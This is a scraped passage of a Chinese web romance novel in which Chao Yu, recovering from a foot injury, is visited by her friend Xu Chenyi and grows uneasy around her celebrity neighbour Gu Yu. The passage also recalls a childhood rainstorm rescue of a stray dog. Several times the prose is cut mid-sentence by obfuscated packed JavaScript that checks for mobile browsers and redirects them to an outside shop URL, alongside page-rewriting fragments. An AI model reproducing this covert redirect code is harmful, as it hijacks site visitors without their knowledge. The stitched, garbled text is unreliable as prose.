;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581588|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,有一种浅淡的茉莉香气。床头放着半杯清水,她应该喝过不少,嘴唇看上去润润的。 她唇形是一种秀气的薄,但辜屿知道她有发呆时咬嘴唇的习惯,微妙地透出一点肿。 寻常看不出来。 晁雨悄悄瞟辜屿。 还真,一句话都不说啊…… 哦对,她端过床头柜上的奶茶,想起应该先喝一口以示尊重。 吸管扎透塑料膜,噗地一声。 她心脏没来由地一跳,忽然想起刚刚电话里许辰懿说的那句话——“你根本没心动过”。 吸一口,晁雨微一怔。 “两倍糖啊?”她问辜屿。 估计只有洵州的奶茶有这种变态甜度。因为洵州人很能吃甜,这里甚至拌面或者炒青菜,都要加白糖。 刚来洵州的人往往吃不惯,再多吃两口以后——嗯?有点上头。 晁雨高中校门口的奶茶店,除了三分糖、五分糖、七分糖、全糖,还有一个特别的:两倍糖。 晁雨从小吃得就甜,毕竟她家是做桂花元宵的人家。所以她每次点奶茶,也会点两倍糖。 辜屿垂眸看着地板没反应。 好像地板接缝比晁雨好看。 他的睫纤长,却并不密,灯光疏落地透过去,在他眼下染一层阴影。 应该是,巧合吧。毛秀珍这么野的老太太,估计也喝两倍糖。 晁雨吸一口奶茶——妈耶,这珍珠擦过吸管壁的声音怎么这么大! 还是屋内过分静谧?这样的一声都似有回响。 晁雨嚼起珍珠腮帮子一动,才发现自己耳朵里还塞着蓝牙耳机。 刚刚跟许辰懿打完电话以后忘摘了。 塞着耳机跟人说话这也太不礼貌了,她手忙脚乱地摘下来,又手忙脚乱地掉进了床和床头柜之间的缝里。 晁雨:…… 辜屿:…… 晁雨脚不方便,辜屿站起来帮忙捡。 他刚要挪动床头柜,晁雨慌忙阻止:“别动。” 辜屿递过一个眼神:? 晁雨解释:“它有一只脚是坏的,挪动以后不好拼,就不能用了。” 晁雨的家,随时光风化。不仅宅子老,木楼梯嘎吱作响,地板接缝里像藏满故事。这里的家具也老,清代的一些老楠木、黄花梨木……刻着些拙朴不入时的雕花。 在古玩市场上卖不起价钱,晁家人却用得很珍惜。 晁雨坐在这些老物件中,像一个来自时光深处的姑娘。 辜屿看了眼,床和床头柜之间一道窄窄的缝隙,倒是勉强能容一只手臂探进去。 他怕摁坏了床头柜,便有一只手按在床头,撑着身体伸手去够。 晁雨往另侧挪了挪。 但这左不过是张单人床,挪也挪不了多远。 辜屿倾身的时候,晁雨下意识阖了阖眼。 她嗅觉敏感,因此此刻的感觉,像是嗅了捧山涧冻溪里的月光,冷冽得似要割伤人鼻腔,却又意外清新得让人想一嗅再嗅。 辜屿伸手够耳机的动作有一瞬顿滞。 他垂眸看着那道黑漆漆的夹缝,脑子里却是慢了一拍袭上来的、靠近刹那晁雨头发上的香气。 像满园茉莉,扑人一身。 晁雨张开眼,眼尾悄悄瞟向辜屿摁在床头挡板上的那只手。 的确是很好看的一只手。 古人形容贵公子说“陌上人如玉”,其实整个人怎可能如玉,一只手倒有可能。晕黄的灯光一打,白皙修长而骨节分明,近乎通透。 晁雨想起自己觉得性感的那张“手衔黑子”照片。 原来照片里的那只手,是这样的,真真实实在她面前。 显得……更冷气,却也更性感。 辜屿捡起手机,托在掌心里递她。 她手指很小心地伸过去,可人就是越紧张越会犯错。她越不想碰到辜屿,指尖偏偏在他掌心里轻轻一点。 脑中残存着上次他手指冷凉的触感。 反显得他掌心有点热度。 就那么一点意外的灼热,顺着晁雨的腕心,一路往心脏攀爬。 “谢谢。”她说。 辜屿没说什么,回床边的靠背木椅上坐下。 晁雨的心跳速度并没有加快,反而有滞后一拍的跳空。 辜屿恢复了垂眸看地板的姿势,她才又悄悄看过去。 起先交缠的,是他们各自身上的味道,然后是手的温度。 这些存在都无感无形,可她发现,辜屿的耳后起了排很细小的红痕,似过敏,不打眼,却顺着颈后蔓延。 晁雨说:“你过敏……了?” 她甚至不确定那是不是过敏。 怎会没来由的突然过敏? 辜屿直到这时,抬眼看向她。 很黑很沉的一双眼。 晁雨下意识地又咬了咬唇。那双黑沉的眼往下落,视线点在她下唇。 有那么一瞬,晁雨觉得辜屿是想说些什么的。空气里有一根绷紧的弦,像暴雨将至未至时的气压,捆在人心上。 这时晁雨卧室的门一把被人推开,一个高亢嘹亮的女声传来:“姐们……儿。” 许辰懿看着眼前的一幕,愣愣打了个嗑巴。 空气里那根隐形的弦,啪地一声,断了。 10. 第二件小事06 许辰懿愣了两秒,默默又把门关上了。 再推开,眨了眨眼,坐在不远处的,还是那个黑衫冷肤、浑身少年气的年轻男人。 嘶……许辰懿放开行李箱,掏出手机打开微博,在搜索框键入“辜屿”二字。 对着搜索出的照片看了看,又抬眸去看房间里的男人,又比对着看了看照片。 她没出现幻觉。 也没看错。 坐在晁雨对面的那位,实打实就是当前火得无出其右的、超越一众男idol成为各位妈妈粉姐姐粉心头好的、各类广告代言拿到手软走哪儿都能看到他海报的、年仅二十二岁收入杀进福布斯青年精英榜的—— 辜屿本屿。 辜屿很淡定地站起来,也没跟晁雨打招呼,走到门前,跟许辰懿点了下头,扫过来的眼神让许辰懿捂了下心口—— 是这小子本来眼神就这么冷,还是看她有点不爽? 辜屿擦过她身边,走了。 许辰懿拖着行李箱走进房间,坐到刚刚辜屿坐过的木椅上。 这条老旧的木安街,从街头走到街尾也花不了多久,都是些住了一辈子的老邻居,人人都互相认识,所以除了睡觉时都不锁门,还有些更心大的,整夜不闭户。 自嘲笑曰:被时代抛弃的人,没什么可偷的。 所以许辰懿很顺利地自己进来了,回忆着晁雨以前描述的地形,又顺利地摸索到晁雨的房间。 本想给晁雨一个惊喜。 没想到给了自己一份惊吓。 她瞪着晁雨:“刚才那是……辜屿吗?” 说“辜屿”两个字的时候,语调颤啊颤的。这样一个人活生生出现在面前,就连吐出他的名字都觉得不真实。 “不是。”晁雨说:“他姓图。” “姓图?叫什么?” “多格。” “图多格……”许辰懿睁圆双眼:“少数民族啊?” 晁雨没绷住笑了。 许辰懿索性坐到她床畔,一掌拍到她肩上:“编,你接着给我编!” 晁雨笑着揉自己的肩。她亲妈和亲闺蜜都有同一个毛病,喜欢用化骨绵掌拍她的肩。 “没编。”晁雨竖起两根手指比了个耶:“图多格,TwoDog,二狗子。” “他在这里的小名,叫二狗子。” 许辰懿的表情活像吞了整颗鸡蛋梗在喉头,一言难尽地看着晁雨:“你们为什么要这么荼毒帅弟弟?” 晁雨实在没好意思告诉她,这个小名,是自己取的。 “你瞒得够死的啊。”许辰懿斜眼看她。 “不是故意瞒着你,主要人家现在大小也是个名人,我这不是寻思着涉嫌泄露人家隐私么。” “什么叫‘大小也是个名人’,现在最大的名人就是他!”许辰懿连珠炮似的:“他怎么在这?” “他外婆住在马路对面,他每年夏天会来过暑假啊。” “靠!青梅竹马啊!”许辰懿大嗓门道:“你有这样的竹马,你能看上那老贱人!” “不不,不是什么竹马。我跟他一点不熟,话都没说过几句。” “不熟?”许辰懿邪魅地吊起嘴角:“不熟人家大半夜在你房里?” “就是来送杯奶茶。”晁雨对着床头柜努努嘴。 许辰懿一看那喜羊羊的塑封膜就乐了:“我小时候也喝过这种。奶茶粉冲的呗?” “对。” “好久没喝过了,你别说,仔细一回想,这种童年记忆里的味道还挺上头。”许辰懿用手掌在耳旁扇着风:“你家厨房在哪来着?我去倒杯水,热死了。” “要不你喝奶茶?我喝过一口,不过你应该也不介意。”晁雨端起来递她:“不是说怀念么。” “不是人家、特意、给你、买的么?” 晁雨听得腮帮子酸:“你给我好好说话。哪是什么特意。” 她回想起辜屿的一张冷脸。 “那我可真喝了啊?”许辰懿拽着吸管搅了搅:“这居然是辜屿弟弟买的奶茶,四舍五入是不是约等于开过光?” 晁雨:“……” 许辰懿喝了一口差点没喷出来:“打翻糖罐子啦?这么甜!” “哦,这是我们高中校门口的特色,两倍糖。”晁雨道:“喝不惯别喝了。” “罢了罢了。”许辰懿摆摆手:“好歹这也是开过光的奶茶。而且老娘今天一天没怎么吃饭,值得一杯两倍糖的奶茶。” 晁雨问:“你之前给我打电话的时候,就在高铁上了啊?我说听你旁边声音怎么有点不对,我也没细想。” 许辰懿鼓着腮帮子嚼珍珠:“这珍珠也是以前内味儿!塑料感十足!” 又道:“对啊!你发微信骚扰我的时候,我正在高铁上补觉呢。你说你这脚,怎么也算是被我一语成谶给说折的,我不得来看看你?” “真请到年假了?” “嗯哼。”许辰懿一扬下巴:“把这几年没休的年假一口气请了,咱也来水乡小城体验下慢生活。” 聊了会儿,晁正声和葛洁收摊回来,晁雨把许辰懿介绍给他们。 葛洁见到有朋友来陪晁雨,十分高兴。 许辰懿本打算去住民宿,葛洁一把夺过她的行李包:“家里房子旧,房间倒是多。住什么民宿,就住家里。” 晁雨:“妈你慢点,人家一个奢牌老花行李包,好几万呢。” 葛洁瞪圆眼:“多少?” “您听她胡诌。”许辰懿笑道:“我这二手的,没多少钱,陪客户出差撑门面用的。” 一听她也是个随和的姑娘,葛洁笑得更舒展了,带她去客房住下。 第二天,葛洁做饭给许辰懿接风。 许辰懿叮嘱:“您可千万别准备大鱼大肉,我陪甲方霸霸应酬吃伤了,就爱吃些时令小菜。” “那行,让二柱子把那帮小兔崽子也叫来,让他们沾光蹭顿饭。”葛洁道。 傍晚时分,许辰懿和晁雨在厨房帮葛洁备菜。 葛洁手脚太利索,她们主要就是陪聊。 许辰懿跟葛洁说:“刚认识小雨的时候,我以为她特会做饭。” “我们合租的第一天,刚搬完家都挺晚了,她问我想吃什么,红烧牛肉萝卜老鸭还是金汤肥牛。” “给我听得眼睛都瞪圆了,我说你这么厉害呢?回头一看,这姐们儿抱着好几桶泡面在那让我选口味呢。” 晁雨:…… 她的确不会做饭。葛洁手艺好,家里氛围也好,有什么事通常都是交给她的倒霉弟弟晁二柱去做。 眼看晚饭时间快到了,许辰懿放下小葱跟葛洁说:“葛阿姨,我上楼一趟。” 半天没再见她下来。 晁雨给她发微信:[你干嘛呢?] Cici:[补妆啊!] 冷冷冰雨:[???] 冷冷冰雨:[黑人问号.jpg] Cici:[补妆了才好见天菜弟弟啊!] 晁雨:…… 她把自己的那套理论搬出来:[你有没有想过,跟他一起合拍广告的都是某某茜、某某唯级别的?] Cici:[我不管。] Cici:[你自我放弃,我垂死挣扎!] 不多时,男孩们从毛家小院涌来晁家,帮着葛洁端了满桌菜,开饭了。 许辰懿姗姗来迟,香风扑面。 她身高一米七有余,典型的北方女孩长相,本就大气明艳,加上一身职场装配高跟鞋,妥妥的卷发红唇大御姐。 一桌小兔崽子们看得有点傻。 马超瞄了晁二柱一眼,那意思是:这才像你说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581589|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “港剧Madam精英气质、又美又飒御姐范儿”。 晁雨介绍:“这是我闺蜜,许辰懿,辰辰。” 小兔崽子们挺客气:“辰辰姐好。” 结果这位御姐一开口就破功,声音高亢得跟广场舞大喇叭似的:“哎哟弟弟们,你们都长得挺清爽啊!跟在洗洁精里洗过一遍似的!” 小兔崽子们:…… 这、这声音跟形象反差也太大了…… 晁雨挨个介绍了一遍,最后是:“这我弟,晁二柱。” “姐。”晁二柱冲她眨了下眼。 晁雨:……??? “别叫我小名,说大名。”晁二柱保持微笑,咬着后牙根像用腹语嘟囔出这句话。 晁雨在心里:噗。 孩子大了,在美女面前知道害臊了。 晁雨点了下自己的太阳穴:“你大名叫啥来着……” 晁二柱一瞪她,满桌男生爆笑。马超捂着肚子:“是啊二柱子,你大名叫啥来着,我记得你以前作业本封面上都写着‘晁二柱’来着……” “晁霈!‘霈然一夜雨声长’的霈!” 一阵笑闹间,木楼梯传来一阵极幽微的嘎吱声。 这木楼梯真奇怪。 它传出的声音很轻,掩没在喧闹的人声里,却像在人的耳朵眼里吊着根细线,扯着人没来由往那边看。 晁雨的鼻子灵,耳朵也灵。也许她是满桌人里第一个朝楼梯方向看去的。 所以,她也是第一个看到那黑色颀长身影的。 她的笑容凝固在脸上,眼神在那道身影上很轻忽地一飘,就跟蝶一样飞走了。要到满桌人都听到动静、朝辜屿看过去。 晁二柱招呼:“狗哥,快来坐。” 辜屿因为打完游戏后常要对接些工作,所以吃饭往往来得迟一点。 直到这时,晁雨才带着脸上残存的笑意、和众人一起看着辜屿—— 她还在笑,好像还沉浸在刚刚的聊天与玩笑中,对辜屿的来或不来、迟或不迟浑不在意。 但,辜屿的存在感太强了。 他的双眸黑而沉,像月光照不透的山涧墨色的溪,很难说他在看哪里。 反正他没看晁雨。 晁雨很不着痕迹地清了下嗓子,小动作捏了下手里的筷子。 这张梨花木的圆桌硕大一张,男孩们都聚在这里也空出好几个座位。许辰懿坐她右手边,她左手边就空出个座位。 辜屿会像上次一样坐过来吗?她发现那种隐隐的紧张感又来了。 自打昨晚辜屿从她房间离开后,两人还没见过。 刚刚木楼梯声在耳朵眼里吊出的那根细线,变成了空气里一根紧绷的隐形的弦,就像昨晚绷在她房里的那样。 一端连着她,另端拴在辜屿身上。随着辜屿往这边走来,那根弦越绷越紧。 直到辜屿在晁二柱身边坐下、跟晁雨形成一条小小的对角线,那根弦又一次啪地一声,断了。 晁雨说不来心里这种不上不下的感觉是怎么回事。 她抿一抿唇角,在接下来的聊天里有点走神。 许辰懿是个巨能聊的,在市场部混得风生水起全凭这张舌灿莲花的嘴。带着满桌人一路从北京聊到洵州,衣食住行全聊了个遍。 最后许辰懿说:“洵州的奶茶是真甜呐!我是真没想到你们的奶茶还有两倍糖这种甜度!昨晚我一下高铁小雨就请我干了一杯,给了我这个北方人深深的震撼。” 一直安静吃饭、全程没参与聊天的辜屿,这时掀起眼皮。 视线在许辰懿身上点了点。 嘶……许辰懿抬手摸了摸自己的脖根,这穿堂风是不是有点厉害啊?她突然觉得凉飕飕的是怎么回事? 接着辜屿把视线移向晁雨。 这是他今天看向她的第一眼。 11. 第二件小事07 晁雨忽然有点心虚。 她后知后觉地发现:那杯奶茶是辜屿给她的,就算是顺手,那也是给她的。 她只喝了一口,就那么给许辰懿喝了,是不是,不太好啊? 可辜屿的眼神很快移开了,就像他只是很随意地看向一处,锋锐的、散漫的,却什么都没有放在心上的。 吃完饭,葛洁去给晁正声送饭,男孩们回毛家小院打游戏。辜屿再没看过来一眼。 晁雨心里那种不上不下的感觉,由昨晚她房间里的微妙氛围,变成了这杯奶茶。 她由许辰懿扶着一跳一跳回房间,问许辰懿:“如果你给我买了个东西,我顺手送给别人了,你会生气么?” 许辰懿:“看我不捶死你。” 晁雨:…… 她又问:“如果那东西很小、特别小呢?” “有多小?” “比如你午餐的时候,顺手给我带了盒三明治,我给别人了。” “这……”许辰懿想了想:“不好说啊。” “硬要说呢?” “可能不会吧,小事情而已。”许辰懿又改口:“啊tui~也可能会,毕竟我把你当最好的姐们儿,我就是这么小气。” 晁雨:…… 那辜屿,应该不会在意吧? 毕竟一杯奶茶,小事情。他也不是许辰懿这种自诩小气的类型。 许辰懿换了身家居运动服,趴晁雨床上跟她聊天:“你是真能沉得住气啊,辜屿弟弟是你邻居这种事,你都能忍得住不臭显摆!” “我显摆什么?又不熟。” 许辰懿纤长的指尖在手机屏幕上戳戳戳,怼到晁雨面前:“可这是哥屋辜!淤于屿!” “……”晁雨:“不用教我学拼音。” 许辰懿划拉着微博给晁雨看: 一众粉丝尖叫着“啊啊啊我家弟弟这什么绝世神颜”! 许辰懿又唰地翻出新闻给晁雨看: 「本届春闻杯奖金高达百万美元!辜屿如卫冕个人财富杀进福布斯青年精英榜前十。」 “那又怎么了?”晁雨反问:“他长得再好,给我摸么?他比赛和代言赚得再多,有一分钱打我卡里么?” 许辰懿翻她个白眼:“你想得美!” 两人笑作一团。 许辰懿不死心地问:“你们俩真的,什么都没有啊?” “你不是看见了么?”晁雨:“他昨晚就是顺手给我带杯奶茶,今天吃饭我们坐那么远,也没说一句话,就是那种程度的不熟。” 说完她飞快地观察了下许辰懿的反应。 “哦。”许辰懿无比失望地点点头:“可惜了,要不我还能跟人吹牛掰,说我亲姐们儿跟天菜弟弟酱酱酿酿。” 晁雨小小地吁出一口气。 所以就是这样吧。任谁看来,她和辜屿都一点不熟。 那些微妙的氛围与动作,一定是她自己想多了。 - 第二天,毛秀珍打完麻将大发慈悲地来探望晁雨。 她跟许辰懿一见如故,两人嗓门一个赛一个的高亢,吵得晁雨脑瓜子嗡嗡的。 许辰懿一拍巴掌:“我有只粉色唇膏,应该特别适合你。” 毛秀珍美滋滋的:“是不是啊?” 她是个喜欢打扮、爱喝两倍糖奶茶、电瓶车上贴满HelloKitty的老太太。 许辰懿一骨碌爬起来回客房拿唇膏。 毛秀珍拍拍晁雨的胳膊:“你有没有危机感?” “什么?” “要是我看起来比你还年轻的话。”毛秀珍笑出了一脸褶。 晁雨被她逗笑:“不可能,你太爱吃糖了。” 这时,心里不着痕迹地划过了什么。 晁雨捏一捏自己的指尖,状似不经意地开口问:“你奶茶都喝两倍糖的,对吧?” 一颗心脏又被一根隐形的线莫名吊起。 等待毛秀珍回答的那半秒时间,被无限拉长。 晁雨很怕毛秀珍会说:“我什么时候喝两倍糖?” 甚至是:“我什么时候喝奶茶?” 结果毛秀珍点点头:“是的呀,奶茶不喝两倍糖那还有什么滋味啦?谁说吃糖容易变老,你看你妈,啊哟那个岁数了皮肤还嫩得跟小姑娘一样。” 所以,辜屿应该确实是给毛秀珍买了两倍糖的奶茶、顺手也给她带了杯两倍糖的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581590|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 晁雨很轻地咬着下唇。 是松了一口气?还是隐隐的失落? 可她失落什么?刚才又害怕什么? 这些很微妙的情绪只是在心头一晃而过,又很快被许辰懿冲进来的高亢音量给打散。 许辰懿:“毛奶奶你看,这粉嫩芭比的颜色适合你不?” 那些情绪就像被手挥散的一阵烟,很难捉得住了。 - 直到晚上,许辰懿骂骂咧咧去回一封客户邮件。 晁雨发现水喝完了,不想吵许辰懿,自己单脚蹦去饭厅倒。 饭厅靠墙是一张清代的老旧红木案几,上面摆着晁正声侍弄的几盆盆栽。一盆迎客松苍劲古雅,衬得背身而立的那人骨骼孤韧。 辜屿回过头来,晁雨捏着只空水杯扶着墙、想躲已经来不及了。 想起来昨天吃饭时葛洁跟辜屿讲,给毛秀珍备了些清火的罗汉果,还没晒好,趁日头好再晒一天,让辜屿第二天有空来取,她装好了就放饭厅。 他是来取罗汉果的。 他的眼神扫过来,很淡,就像昨天许辰懿说起喝奶茶时、他扫过来的那一眼。 其实捕捉不到任何明显的情绪。 晁雨下意识从内咬了咬下唇,有那么一瞬间她想问:“奶茶的事,你有生气吗?” 可这句话在心里盘旋了一道,还没出口她就觉得可笑。 生气? 辜屿之所以被围棋圈内誉为“妖刀”,就因为他攻势极为凌厉,泰山崩于前而不改色,冷静到冷血的酿杀招于无形之中。 他从来都清清淡淡的一张脸,对手从来看不透他。 这样的一个人,会跟“生气”两个字联系起来? 只是一杯奶茶而已,晁雨在心里问自己:你是不是现在没工作太闲了,才会想七想八的顾虑这么多? 所以她只是冲辜屿笑了下,点了点头算是打招呼。 辜屿拎了那袋罗汉果,表情没任何变化地向晁雨这边走来。 正当晁雨以为两人要这样擦肩而过的时候。 辜屿对她伸出一只手。 晁雨:? 辜屿语调没起伏地说:“杯子给我。” 12. 第二件小事08 辜屿的这个动作太令晁雨意外了。 她几乎是在一片茫然中下意识把杯子递了过去。 辜屿接了,走回案几边倒了杯水,过来递她,然后离开。 直到许辰懿从客房那端走来,路过饭厅,瞧见晁雨扶墙站在那里:“你怎么出来了?” “倒水。” “倒完怎么不回去?” “哦……嗯。” 许辰懿过来扶了晁雨,两人一起回晁雨的房间。 路过那道窄窄长长的楼梯时,晁雨往那方向瞥了眼。 那里当然空荡荡,辜屿早已走了。 晁雨心里本已散去的感觉,变成了晃晃荡荡的这一杯水。 - 人生就像围城,总是城外的人想出城、城外的人想进城。 许辰懿忙得跳脚时嚷着要过慢生活,真闲下来又觉得身上长蘑菇。 到了这天晚上,她已经无聊到把指甲油翻出来,好几瓶摊在晁雨床上。 问晁雨:“你要什么颜色?” “……我能不要么?” “不能,要不就还是透明的。” 许辰懿举起透明指甲油的瓶子晃了晃,懒洋洋打个哈欠,拿分趾棉把两人的脚趾卡好。 女生好像就这样,无论几岁,都可以一起做无聊的事,并且乐此不疲。 “你先给我涂。”许辰懿指挥晁雨:“一个脚趾甲一个shai儿,越五彩斑斓越好。” 晁雨帮她涂。 许辰懿不像晁雨那么白,她的肤色是一种健康的漂亮。尽管如此,她脚背上那个小小的疤还是格外明显。 晁雨低着头,趁许辰懿不注意的时候飞快咬一下唇角。 有点心疼。 许辰懿来自东北的一座小城。她是家中长女,还有两个妹妹比她小不少。 母亲早逝,父亲是个酒鬼,家里条件很差。她爸每每喝醉了酒,就会摇晃着回来醉醺醺地开骂,骂老婆死得早就算了,怎么也没给他留下一个儿子。 然后就会找各种借口,打她和她妹。 许辰懿每次都护在妹妹面前,拼命拉开她爸。但她到底是个女孩,力气怎么可能比得过一个成年男人。 他爸打她妹最凶的那次,拽着她妹头发要往那掉了漆的漆红柜子上撞。 许辰懿发了狠,把她爸喝的那种很高度数的二锅头酒瓶往地上一砸,浓烈的酒液和碎玻璃渣溅了她一脚。 其中一块碎玻璃渣扎进她脚背,血淌出来,她浑然不觉,用碎酒瓶的断面指着她爸的脖子:“你再动我妹一下试试,我杀了你。” 少女双目血红,如地狱来的恶鬼。 一个醉到浑不知天日的成年男人也不禁怔了下。 最终是转身,骂骂咧咧地走了。 这件事是有次喝醉酒的时候,许辰懿讲给晁雨听的。 那是一个冬天,她俩坐在北京天寒地冻的马路牙子上,许辰懿那时还是个实习生,弄错了个很重要的数据,鼻涕眼泪糊了一脸,跟晁雨说:“你别看我人五人六的,其实我是个坏人。我发现自己真敢杀人,哪怕这人是我亲爹。” 晁雨捧着她的脸,帮她拂开被眼泪糊了一脸的长发,很肯定地说:“不是的。你是全天下最好、最好的人。” 几天后,许辰懿买了些指甲油回来,跟晁雨一起涂,又给晁雨看她脚上的疤。 然后发现晁雨的脚腕上也有个疤,乐了,说:“我们疤疤相惜。” “……什么乱七八糟的。” 许辰懿咧着嘴乐。她这人就这样,天大的事都能抛在脑后,侠女一样无所顾忌从围困自己的绝境中杀伐出来,逃离了家乡小城,杀到了北京。 不过她后来发现,原来亚轩这种高端设计公司的人是不涂有色指甲油的。 她把手指甲上的颜色都洗了,脚趾甲的颜色却留下来,藏进九厘米的高跟鞋里,像藏起一点小小的倔强和骄傲。 她也问过晁雨脚腕上的疤是怎么来的。 晁雨给她讲了。 晁雨给她涂完,她又给晁雨涂了层透明的脚趾甲油。 为了不蹭花,扶着晁雨,企鹅一样挪到木连廊上吹夜风。 不远处的山连绵在夜色中铺展,像幅温柔的水墨画。 许辰懿指指那边:“是那座山么?” 晁雨点点头。 绕洵州城而过的那条清溪叫雩溪,溪尽头的那座山则叫霓山。从她们所住的这条木安老街过去并不远。 晁雨脚上的疤便是在那里落下的—— 那年她十二岁,辜屿八岁。 那天各家父母刚好约着,带上自家孩子去隔壁镇赶集。辜屿对这些不感兴趣,晁雨恰逢感冒加上青春期意识开始萌芽,也不打算去。 两人便留了下来,由毛秀珍看着他们。 毛秀珍也是个心大的,把俩小孩放在自家小院里,自己照旧打麻将去了。 晁雨是不可能跟辜屿待着的,毕竟辜屿话也不跟她讲。 辜屿在里面打游戏,她在外面跟一只小土狗玩。 小土狗是毛秀珍从山脚下捡回来的,受了伤,好不容易才养得七七八八。 晁雨玩了会儿困了,爬到毛秀珍床上睡了一觉。 出去一看傻了眼:小土狗挣脱绳子跑了。 不用说,肯定又往山里跑了。 小土狗的伤还没好全,晁雨心里急,冲进游戏房,叫辜屿跟她一起去找。 辜屿对着电视屏打掌机,全当没她这个人。 她冲过去直接断开游戏机:“你听到没啊?” 辜屿抬眸。 那不是一个八岁小孩该有的冷峻视线。 辜屿说:“既然这么在意的话,为什么会让它跑掉?” 晁雨一怔。 那是辜屿跟她说的第一句话。 “毛奶奶给它套的绳子,我哪想到……算了。”晁雨不再跟他多说,自己转身跑出去。 十岁出头的年纪,正是觉得自己长大无所不能的时候。 晁雨能闻出快下雨了,但她想着能趁下雨前,把小土狗给找回来。 问了山脚下的小卖部,果然看到小土狗进山去了。 她也跟着进山:“小土——狗!咳咳。” 这一声喊出来真叫人泄气,连个正经名字都没有。 晁雨问过毛秀珍为什么不取名。毛秀珍说辜屿讲没必要,小土狗就叫小土狗。 所以他就是个冷漠的小孩。 所以他怎么可能来找狗。 晁雨一边跑,一边在心里忿忿地想。 但她错误估计了山里的天气。 山里的雨来得更快也更急,顿成瓢泼之势。霓山上的土层松,很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581591|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泥泞一片,又陡又滑。 晁雨心里有点后悔,觉得不该这么冒进。 又不那么后悔,毕竟小土狗也是一条生命。 她尝试着又找了会儿,不慎踩在长了青苔的树根上脚底一滑,整个人扑进泥里,脚腕也被暴雨打落的树枝划破。 小孩子嘛,就是要晓得厉害才懂害怕。 她不敢乱走了,站在树下咬唇看着如注的雨。 还好没打雷。不过明明是下午,天黑得像整个暗夜提前到来。 心里的恐慌是一点点蔓延出来的。 那时候手机在洵州的小孩子里并不普及,也还没有像现在那么多功能的小天才电话手表。 她无法求援,只好站在原处。 毛秀珍沉迷于麻将桌,肯定没法这么快发现她不见了。那个一心只想着打游戏的冷血小屁孩,更是指望不上。 晁雨低头看一眼自己的脚踝,涌出的血都被雨水冲尽了,皮肤变得苍白一片。 腿开始发麻的时候,团团的雨雾中冒出个人形,把她吓了一大跳。 等人走近了,她才看清—— 是那个臭着一张脸的小屁孩,不过,穿着件粉红色的雨衣。 噗。 应该是毛秀珍的。 辜屿手里拎着盏探照灯,转身往回走。 他没发现晁雨脚伤了,以为她只是被雨雾困住,不辨方向。 晁雨跟在他身后。暴雨路滑,她摔了一次,这时走得格外小心。 终于跟着辜屿走出山外。 恐惧退去,愧疚涨潮。 她没能在落雨前找到小土狗,这下完蛋了。 她不想在臭脸小孩面前哭,带着发红的眼圈、眼睛睁得大大的,嘴用力包着。 变成一个很滑稽的表情。 辜屿看了她一眼。 “你真的很烦。”那是他跟晁雨说的第二句话,接着,转身又进山去了。 “哎……”晁雨根本没来得及阻止他。 她一个十二岁的大人,怎会让一个八岁的小孩独自进山? 可辜屿消失得极快。 晁雨站了会儿,决心到附近的小卖部去找大人帮忙。 就在这时,那个粉色身影又出现了。 晁雨短促地叫一声—— 他的怀里,抱着那只浅黄的小土狗。 他怎么找到的? 晁雨赶紧把狗接过来抱在怀里,两人往家的方向走。 这时,长大后的晁雨跟许辰懿吹着夜风。许辰懿问:“后来那小土狗呢?” “不久就生病死掉了。我差点没哭死,辜屿那个死小孩一滴眼泪都没掉。” 所以后来晁雨看到“妖刀”这个称号横空出世的时候,心里浮出的两个字是—— 果然。 他果然是个情感很淡漠的人。 “我也是因为这件事,觉得他应该讨厌我吧。毕竟他都不怎么跟我说话,好不容易说那么一句,还是说我烦人。” 晁雨嘴上跟许辰懿说着,心里却不知为何,想起辜屿站在雀梅前、回眸望过来那一瞬的眼神。 她左脚腕上陈旧的疤早已变淡,这会儿躲在新打的石膏里发痒。 晁雨很轻地拎了拎脚踝,心想: 他是么? 是个情感很淡漠的、并且讨厌我的人……么? 13. 第二件小事09 许辰懿又陪晁雨养了两天脚,愈发无聊了。 她撺掇晁雨:“咱出去玩吧。” 晁雨一指自己脚上的石膏,上面还有葛洁画的两只企鹅,啊不,鸳鸯,问许辰懿:“我这样,能去哪里玩?” 